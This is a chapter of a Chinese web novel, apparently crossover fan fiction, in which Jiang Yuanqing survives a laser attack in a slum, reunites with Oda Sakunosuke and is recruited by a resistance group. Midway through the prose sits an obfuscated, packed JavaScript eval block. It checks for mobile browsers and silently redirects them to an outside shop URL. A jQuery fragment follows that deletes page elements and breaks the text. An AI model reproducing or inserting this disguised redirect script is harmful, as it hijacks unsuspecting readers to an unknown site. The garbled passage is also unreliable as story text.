这孩子瘦骨嶙峋,穿着卷边的衣服,磨损很严重而产生的绒毛在她的袖子口绕出一道贫穷的花边。
她有些紧张地绞着手指头,小心看向江沅清:“真,真的可以给我吗?”
“小雅!回来!”
江沅清侧耳听着躲在垃圾堆中的某一个孩子大声的呼唤,她微微一笑,俯身温和地摸了摸小姑娘的头,将这块蛋糕塞进了她的手中,声音轻柔道:“嗯,我还有很多小蛋糕,所以你可以告诉我为什么要用小石头打我吗?很痛的哦?”
“对,对不起,”小姑娘嗫嚅道,“我们害怕你是要抓我们去收容所的坏人……”
好吧,看来是触发任务剧情了。
江沅清低头看了眼自己身上披着的白大褂,哽了一会儿,面不改色道:“是吗?他们要抓你们做什么呢?”
小姑娘还要再说些什么,却被后面突然跟个猴子一样窜出来的小男孩儿拉到身后,蛋糕被他一把夺走狠狠摔在地上。
他像一只色厉内荏的小狼,向江沅清展示着自己并不锋利的爪牙:“离我们远点!”
江沅清很讨厌吃哑巴亏,但看着现在的局势,她再怎么强调也没有用了。
和这样的小孩儿打架有些掉价儿,端着不知哪来的偶像包袱,江沅清干脆漫不经心地环顾四周将所有景象刻在脑子里,然后遗憾地耸了耸肩道:“如你们所愿。”
等她搞清楚收容所的事情迟早要过来给这小鬼一个大比兜子,到时候在他面前喂给他妹妹吃十八个小蛋糕,一个也不给他。
是的没错,我们阴暗的大人就喜欢这样报复小孩子。
然而她刚要转身离去,一道暗红色的激光便猛然在她的眼前闪过,江沅清的动作比她的大脑反应要更快,她下意识一把推开那俩小孩儿,自己则是向后一倒。
一声轰然的巨响在这里炸开,紧接着响起来的是被淹没在崩塌声中的尖叫哭泣声,这些尖锐的声音越过重重沉闷的响动,穿透了江沅清的鼓膜,她不得不逼着自己在颤抖的大地中站稳身子,抬眼望了过去。
那些被灰尘泥土掩埋的机械垃圾山瞬间被那道红色激光打得塌方,将没来得及跑出来的孩子们尽数压在其下,失去了能力的江沅清无法再获得之前那样好的眼力,也没办法看清楚垃圾堆的旁边是否有新鲜的血液。
但她可以看清楚的是不远处有一队人正在激烈打架中。
说打架倒也不对,应该说是一群穿着制服的人正在单方面殴打一个少年,但因为少年有一个出奇强大的帮手,所以说竟然硬生生地你来我往了起来。
那道激光就是那堆制服组装在手上的武器发射出来的。
真的超级危险啊!装上那玩意儿简直人人都能当炮姐,这不得狂喜晕一堆二次元?
我跟你们说,你们这群制服完蛋了!你们竟然打坏了星最宝贵的垃圾堆!等着吧,迟早有一天你们将看见一只满脸怒火的拆家猫把你们的家具全都挠花!
江沅清长长叹了口气,她收回视线偷偷蹲下,悄悄挪过去检查了一下被她推出去的那俩孩子,发现他们被震晕了,于是不得不在这场突如其来的变故中重新审视起这个世界的危险性。
救命!她只是随口问个路都能遇到这种事情,这跟走在大街上莫名其妙被狗踹两脚有什么区别!
就算是隔壁文豪O犬的世界也没有一言不合就拔/枪的道理吧!
星宝!三月!丹恒!你们是我最亲爱的宝宝们,快来救救我啊喂!
江沅清在废墟中轻轻呼了口气出来。
她必须尽快找到她的同伴们。
不过在此之前,要不她就带着这俩孩子在这里狗狗祟祟,等他们醒了,仔细问问研究所的事情?
这样想着,她又一次将目光投向了方才的战场上。
等等,不对不对,她的眼睛是不是被风沙迷住了啊?绝对是高糊风沙把她的眼睛给堵着了吧!为什么她觉得那个帮手,长得,有那么点眼熟啊。
江沅清哽了一会儿,连忙从背包里掏出望远镜就地一看,发现那个灵活穿梭于制服们之间的强大帮手正是织田作之助。
这一刻,江沅清承认她的心脏骤停了一下。
天地间的所有声音都归于寂静,最后在她的心里归结为一声响亮的咆哮。
喂喂喂!
那不是我们家的小织同学吗!天杀的!啊啊啊啊小织同学!你怎么跟这群开着低配炮姐外挂的家伙对上了啊!
她像一个辛辛苦苦在四十度的大太阳下种地的老农民伯伯听到自己的儿子竟然被小混混敲诈勒索了一般,恨不得当场拎着她的扁担冲过去躺在那群小混混面前“哎哟哎呦”着碰瓷。
如果在能力没有消失之前,她有很多帮忙解决的办法,而现在,她只能轻轻一皱眉,想了想,从星给她的背包中摸出来一把“子弹百分百必中枪”。
这枪也是黑塔收集的奇物之一。
她这个人向来喜欢搞一些奇奇怪怪的东西进仓库吃灰,可以说江沅清这里千儿八百怪的的奇物都是黑塔送的。
当然不是免费的,黑塔这冷心冷肺的女人要起利益简直是狮子大开口,好几次听得江沅清汗流浃背,表示她这里不是许愿树。
没过多久,她就在列车上收到了黑塔寄过来的奇物“赛博许愿树。”
扯远了,这把“子弹百分百必中枪”原身是一位宇宙传奇牛仔的爱枪,那位牛仔死后落入了巡海游侠的手中,而后又被假面愚者们得到。
是的,假面愚者。
那群乐子人将这把枪改造成了现在的“子弹百分百必中枪”,子弹确实可以悄无声息地命中你想打的任何人,但是它只有1%的概率造成暴击。
总结起来就是一顿操作猛如虎,一看战绩0-5,用于正面战场非常鸡肋。
但江沅清相信织田作之助,她只需要在后面给那些人一点干扰,他就能解决完这拖沓的战局。
事实证明果然如此,在她的搅动之下,织田作之助很快将那群人收拾干净,而后侧头向她藏身的地方冷冷看了过来。
他一定是又用异能了。
因为那双不带着任何情绪的眸子忽然就亮了起来,连带着板着的一张小猫脸也不自知地柔软了下去,和刚才在战局里大杀四方的人大相径庭。
江沅清知道他是用异能看见自己了,没忍住笑着叹了口气,将那把鸡肋的大功臣收入了背包,从找的掩体当中站出来,随意地掸了掸身上沾着的灰,笑眯眯道:“小织同学,看来这次是你先找到了我。”
站在他边上举着枪的少年警惕道:“你是谁!”
织田作之助抬手按下了少年的手臂,声音没有什么波澜道:“临篇,不可以拿枪指着江沅清。”
呜哇!孩子真的长大了!好感动!
江沅清快步走过去,本想摸摸他的头,却发现自己现在的手一摸下去他得找地方洗十八遍头才能洗掉泥沙,只好改为一个大大的拥抱。
她又顺便拿手在他背后非常没有道德地蹭了两下,试图蹭掉手上的灰。
“好久不见,唔,可能没有多久,但总之,能见到你很高兴。”
织田作之助轻轻环抱了回去,他知道江沅清在做非常没有大人魅力的事情,但他只是无奈看了她一眼。
这一眼让他发现自己的身高还是有些不够,只好悄悄垫着脚试图和她的高度持平。
他轻声道:“看到江沅清没事,我也很高兴。”
可以啊,小织同学!会坦白出自己的关心了!也就是说小织同学他是长嘴的!太好了她再也不用担心孩子成为那个不张嘴的苦情剧男主之一了!
等会儿?这么想来的话,织田作之助原本的结局是什么来着?
想到朋友给她预告的在文豪O犬中,那属于织田作之助的命运,江沅清忽然心脏一紧。
可恶,不可以啊!她辛辛苦苦养起来的崽子,看着他从一只阴暗的爬行动物变成了一朵向阳的花,她凭什么要拱手让给死神啊!
等着吧,时间还有很多,她会一点点改变这个孩子,带着他脱离原本命运轨迹的!
不知道她的眼神为什么坚毅到仿佛要去开着飞机炸五角大楼,织田作之助松开手,偏头看着她,神色里面隐隐约约勾勒出一个大大的问号。
江沅清侧头假装没看到他脸上的问号,故意岔开话题道:“那什么,现在是什么情况?”
织田作之助言简意赅道:“我醒来之后遇到了临篇,他正在被追,那些人以为他是我的同伴,我们就打了起来。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049653|122639||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>她就说呢,以小织同学一戳一动的温吞性子,怎么就跟自不量力似的和这群开了低配炮姐外挂的家伙打得叮铃咣啷的,原来他也是个莫名其妙被踹了的倒霉蛋。
江沅清沉痛地拍了拍他的肩膀道:“我也差不多,只是我在这里问些东西的时候差点被他们扫射斜了的激光炮扫中,哦对了,这里还有俩孩子呢,你跟我来!”
旁边的少年默不作声地盯着他们的举动看了一会儿,直到现在才恍然大悟道:“原来你们是那种关系啊!”
……?
哪种关系?等等?你那一脸奇怪的笑是什么东西快给我收回去!
自然而然就拉着织田作之助的手腕准备把他带过去的江沅清忽然产生了一种不好的预感,她张口就问道:“什么关系?”
握着织田作之助手腕的手忽然感觉到了他颤抖了一下,江沅清觉得不太对,下意识向他看了过去,却发现织田作之助低下了头。
她看不清他的神情,也自然没能看见少年骤缩的瞳孔与低垂的眼帘。
“当然是……”
一直很礼貌的织田作之助出声打断了临篇的话,不紧不慢道:“是关系很好的同伴。”
江沅清高高给他比了个大拇指,兴高采烈道:“对!”
临篇一言难尽地看了织田作之助一眼,又看了江沅清一眼。
他试图用这种恨铁不成钢的视线挑起织田作之助的野性,却被他淡定无视了。
……行。
“看起来你们真的是关系特别好的同伴。”
不知道为什么,江沅清觉得临篇说这句话的时候看起来有点忍辱负重。
她决定给这个世界的人再多打一个“奇奇怪怪”的标签。
“自我介绍一下,我是临篇,是反抗军的成员,我看你们也不像是上层区的人,要不要考虑加入我们反抗军?”
来到新世界的第一天,靠着织田作之助的超绝身手喜提反抗军成员的橄榄枝一枚。
江沅清神情复杂地看了织田作之助一眼,觉得他的体质也可以和星的主角特质碰一碰了。
一般情况下,什么反抗军显然是推动剧情的重要因素吧!就这样被他小子碰上了!
临篇问的显然是织田作之助,江沅清只是那个附带的小礼物,但让他没想到的是,那个在战斗中冷酷无情的少年竟然转头看向了旁边的人:“我听江沅清的。”
临篇瞳孔地震。
……所以说果然是妻管严吧!谈恋爱什么的好可怕啊!连这点自由都没有吗?
一点也没有猜到临篇在想什么,莫名被扣上帽子的江沅清几番权衡了利弊之后,一锤定音道:“去,不过我们也有一点要求,带我们了解一下你们这里的情况,再帮忙照顾一下这两个孩子。”
江沅清看着临篇,临篇看着织田作之助,织田作之助看着江沅清,三人形成了一个视线包围圈。
“好,你们跟我来。”
片刻后,安置好那俩孩子的江沅清和织田作之助和临篇一起站在了一个破破烂烂的招牌前,上面写着“来客欢喜”。
说实话,要不是临篇特意带她找,江沅清绝对以为这个标牌是哪个没道德的家伙到处乱丢垃圾。
她宁愿相信这里人人没有道德都不愿意相信这坨玩意儿竟然是一家酒吧的招牌!
临篇推开因为常年风吹日晒雨淋而风化严重的木门,一道向地下倾斜的楼梯就显现在了他们眼前。
“走吧,”临篇颇有怀念意味地叹了口气,率先走下了楼梯,一边走着一边介绍道,“这家酒吧原本叫飞鸟,可惜后来老板出事了,现在是我们的基地之一,同时也是河滩区最大的情报交流基地之一。”
“正常来说白天是不接待客人的,可是谁叫我跟老板关系好呢!”
临篇眼尖地对着吧台内正在有一搭没一搭擦拭着玻璃杯的中年男人招起了手:“崔哥!我们来了!”
崔别枝笑了一声,眼角攀着的细碎皱纹舒展而开,他戴上了随手放在边上的金丝眼镜,周身竟然多了几分斯文的读书气,怎么看怎么都是一个肩不能扛手不能提的角色。
“我收到了消息,欢迎你们的加入,不过要想正式加入我们,需要完成一个考核任务,不知两位是否愿意?”